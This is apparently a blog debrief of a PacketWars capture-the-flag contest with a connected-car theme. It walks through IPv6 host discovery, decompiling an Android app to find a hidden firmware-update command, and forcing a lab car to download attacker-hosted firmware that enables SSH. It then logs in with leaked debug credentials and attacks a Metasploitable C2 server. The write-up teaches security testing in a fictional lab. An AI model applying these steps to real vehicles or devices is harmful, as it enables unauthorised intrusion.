Hello Hackers!
This year’s PacketWars contest at Troopers was a blast! Under the topic of “Connected Car” the teams faced several different challenges, which we will describe (as a debriefing) here.
Story
From the Packetmaster’s Battle Briefing:
You and your krew are “freelancers” hired to identify and neutralize an unknown threat agent who has created weaponized software and delivered it to civilian Connected Cars via compromised EV (Electrical Vehicle) charing stations. To make matters worse there are indications that new strains of the malware are appearing as the “worm” spreads from car to car. The mobile mesh network created by the Connect Car is highly resilient, allowing the malware to spread exponentially. Time is of the essence.
Malware analysis suggests that besides a botnet module, there is an active CANBus injection capability. There appears to be other modules but they haven’t been properly reversed and analyzed yet.
All Command and Control communications appear to be a combination of TOR, IPV6, DNS, Port Knocking. All observed persistent artifacts appear to be protected with various technologies some very sophisticated and some which are not. Obfuscation, encryption, hashes and steganography. are in play. It is highly likely that other protections are in place but have not been discovered yet. Your Mission: You must identify the adversary, locate the Command and Control operations center(s) and neutralize the threat or risk being GRIDLOCKED forever!
First Challenge
The first challenge was simply to compromise a car in order to identify the C2 server.
The most obvious system in the battle space was just a web server hosting some information about a fictional car manufacturer. Interestingly though an image of the (not yet discovered) car network could be found:
This image told the participants in which prefix to search for the cars and how their IPv6 addresses would look like. Additionaly an Android app could be found on the server as well, but we will come to this later.
Finding all cars in a certain prefix can be quite a mess, since IPv6 range is quite large. To make things easy you can simply ping the multicast address ff02::1 of your connected interface:
ping6 -c2 -I eth0 ff02::1
Let me explain:
- ping6 is the ping variant for IPv6.
- The -c2 parameter is not necessary, but will limit the number of pings and thus increases the readability of the results.
- The -I parameter specifies the interface on which the ping should be
broadcasted. Link local addresses are only valid for small networks
since they are derived from the MAC address of the connected interface.
This is why the interface has to be set as a parameter. - ff02::1 is the link local multicast address
After pinging this address you will end up with a list of currently available hosts (including your team mates):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
PING ff02::1(ff02::1) from fe80::800:27ff:fe00:0 vboxnet0: 56 data bytes 64 bytes from fe80::800:27ff:fe00:0: icmp_seq=1 ttl=64 time=0.023 ms 64 bytes from fe80::a00:27ff:fe77:d1b1: icmp_seq=1 ttl=64 time=0.346 ms (DUP!) 64 bytes from fe80::a00:27ff:fe7c:80c6: icmp_seq=1 ttl=64 time=0.520 ms (DUP!) 64 bytes from fe80::a00:27ff:fe55:f1be: icmp_seq=1 ttl=64 time=0.732 ms (DUP!) 64 bytes from fe80::a00:27ff:fed7:ecd0: icmp_seq=1 ttl=64 time=0.739 ms (DUP!) 64 bytes from fe80::a00:27ff:fe1d:c25f: icmp_seq=1 ttl=64 time=0.929 ms (DUP!) 64 bytes from fe80::a00:27ff:fe23:bcdc: icmp_seq=1 ttl=64 time=1.25 ms (DUP!) 64 bytes from fe80::a00:27ff:fe94:60ce: icmp_seq=1 ttl=64 time=1.33 ms (DUP!) 64 bytes from fe80::800:27ff:fe00:0: icmp_seq=2 ttl=64 time=0.074 ms --- ff02::1 ping statistics --- 2 packets transmitted, 2 received, +7 duplicates, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 0.023/0.661/1.330/0.441 ms |
From those link local addresses the global addresses are created by replacing the link local prefix (fe80) with the prefix given on the sheet of paper (C101::-C106::, depending on which Wifi you were connteced to).
So you have all cars identified! Time to scan them for open ports! Make sure to scan all ports per host (it’s just 6 of them anyway).
After scanning the cars for open ports you will find out, that all cars will have tcp 111 open and one car will have port 2015 open as well. What we do now, is to connect to the port and see what info we can get by speaking to the service:
1 2 3 4 5 6 |
Car Service Interface v.1.1.2.7 help Invalid command Connection closed Ncat: Broken pipe. |
We quickly find out that sending commands will leave us with an error message and we will get disconnected as well, as soon as we hit a timeout or enter a wrong command. Bruteforce is not a good idea here… But wait! We still have the Android APK from the manufacturer website! Let’s take a look:
We could run the APK in an emulator or on a phone, but this is not necessary and costs valuable time. Instead we unpack the APK with a zip unpacker. We will end up with many files: manifests, included media, … and the classes.dex file, which will contain all the code of the application. Now we have two options:
- Disassemble the .dex file and generate java code from it.
- run the
strings
command and scan all strings for something interesting.
Using strings
will give us approximately 16000 entries. Doesn’t sound like a lot of fun to check that…
1 2 |
local@ERNW:~$ strings ConnectCar-release.apk_FILES/classes.dex | wc -l 15860 |
Also it is quite likely to miss the important command and the context is not clear. Better make some java code out of it. 😉 To do so we need a decompilation tool (in my case baksmali).
After decompilation we end up with smali code, which is fairly readable. Some interesting code parts:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
.line 27 const-string v0, "fwupd [c111::a00:27ff:fed7:ecd0] /firmware" iput-object v0, p0, Lcom/ernw/btroester/packetwarsConnectcar/MainActivity;->fw_download:Ljava/lang/String; .line 117 return-void ... in MainActivity.smali and in MainActivity$SendMessage.smali: ... new-instance v2, Ljava/net/Socket; const-string v3, "[fe80::a00:27ff:fe7c:80c6]" const/16 v4, 0x7df invoke-direct {v2, v3, v4}, Ljava/net/Socket;->(Ljava/lang/String;I)V ... # getter for: Lcom/ernw/btroester/packetwarsConnectcar/MainActivity;->printwriter:Ljava/io/PrintWriter; invoke-static {v1}, Lcom/ernw/btroester/packetwarsConnectcar/MainActivity;->access$200(Lcom/ernw/btroester/packetwarsConnectcar/MainActivity; )Ljava/io/PrintWriter; move-result-object v1 const-string v2, "fwupd [c111::a00:27ff:fed7:ecd0] /firmware" invoke-virtual {v1, v2}, Ljava/io/PrintWriter;->write(Ljava/lang/String; )V |
It seems a new socket is being created, connecting to [fe80::a00:27ff:fe7c:80c6] on port 2015 (0x7df). Later in the code on this connection, a packet with the contents “fwupd [c111::a00:27ff:fed7:ecd0] /firmware” is sent over.
fe80::a00:27ff:fe7c:80c6 looks like a link local address of a car type. [c111::a00:27ff:fed7:ecd0] is actually the charging station (webserver). The fact that there is a hard coded IP address which the app connects to, may confuse a little, but this can be considered a leftover due to a bad release. What we can’t see in the code is that the debug function which triggers the packet sending is actually not clickable in the application. The user will see the button, but can not tap on it. Running the app on a phone(/emulator) will look like this:
Btw: It was not intended to actually start the application, but it would give you a hint on what is interesting inside of it 😉
However we now conclude that the string which is sent is a command for our car interface. Let’s give it a try:
1 2 3 4 5 6 7 8 |
Car Service Interface v.1.1.2.7 fwupd [c111::a00:27ff:fed7:ecd0] /firmware Downloading http://[c111::a00:27ff:fed7:ecd0]/firmware Parsing new firmware New firmware installed Connection closed Ncat: Broken pipe. |
It works! But what happens? It seems a firmware file is being downloaded from the given IP, parsed and then installed on the car. Let’s take a look at the firmware, which is located in the root directory of the webserver (= hardcoded IP):
[...Fancy looking car stuff...]
##Debug Interface (must be disabled for release)
##user: service pass: tron
enable_ssh 0
[...Fancy looking car stuff...]
All the other bits of the firmware are actually useless. We planned putting in an easter-egg if you are evil and disable the breaks or engine of the car, but we did not do that 😉
But how can we enable the ssh service now? Well, since we control the IP-address of the download we just have to setup a small webserver, host our own firmware-file with enable_ssh 1
in it and voilà! Remember that the IP has to be reachable from the perspective of the target car. 😉
Once setup, we will see the same output from the service, except that we can connect to the car via SSH now!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
local@ERNW:~$ ssh service@fe80::a00:27ff:fe7c:80c6%vboxnet0 Tron ACDC 3e SSH Service Port Operate with caution. service@fe80::a00:27ff:fe7c:80c6%vboxnet0s password: Linux Tron-ACDC-3e 3.2.0-4-686-pae #1 SMP Debian 3.2.65-1+deb7u1 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Mar 4 18:32:31 2015 from fe80::800:27ff:fe00:0%eth0 service@Tron-ACDC-3e:~$ |
Boom! 😉
Second Challenge
This round was fairly short: The goal was to identify artefacts of the C&C server. One artefact was the file “home/service/packetwars” which contained the secret IP C222::a00:27ff:fe6b:ccab if you fiddle around with it’s formats 😉
The /etc/hosts file also contained an entry of the C&C server.
Third Challenge
In the final round the C&C server had to be exploited and taken over to prevent other teams from gaining access. The C&C server was a standard Metasploitable, so it was fairly easy to guess passwords or run some exploits against it. The challenge here was (again) IPv6 which has it’s pitfalls if you are used to your standard IPv4 tools.
If you want to get your hands dirty yourself:
You can download the complete appliance of all used VMs here. You have to set up two Host-Only networks for this: One Car/Public-Net with IPv4 (+DHCP) and IPv6 and the C&C-Net with only IPv6. Sadly you will have to enable IPv4 for the target car, to make sure it can reach the webserver (or the attacker) properly, or you have to set up IPv6 routing with prefixes. The reason for that is: The car can not download from a link-local IPv6 address via an URL, it has to be either a global IPv6 or an IPv4 address.
MD5: 4b1e0fe373a5ba2031d9e132da91c49b
The OVA is released under the The MIT License (MIT)
Copyright (c) 2015 Benedikt Tröster ERNW GmBH
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
Hope you all enjoyed the PacketWars and hope to see you again!
Greetings,
Benedikt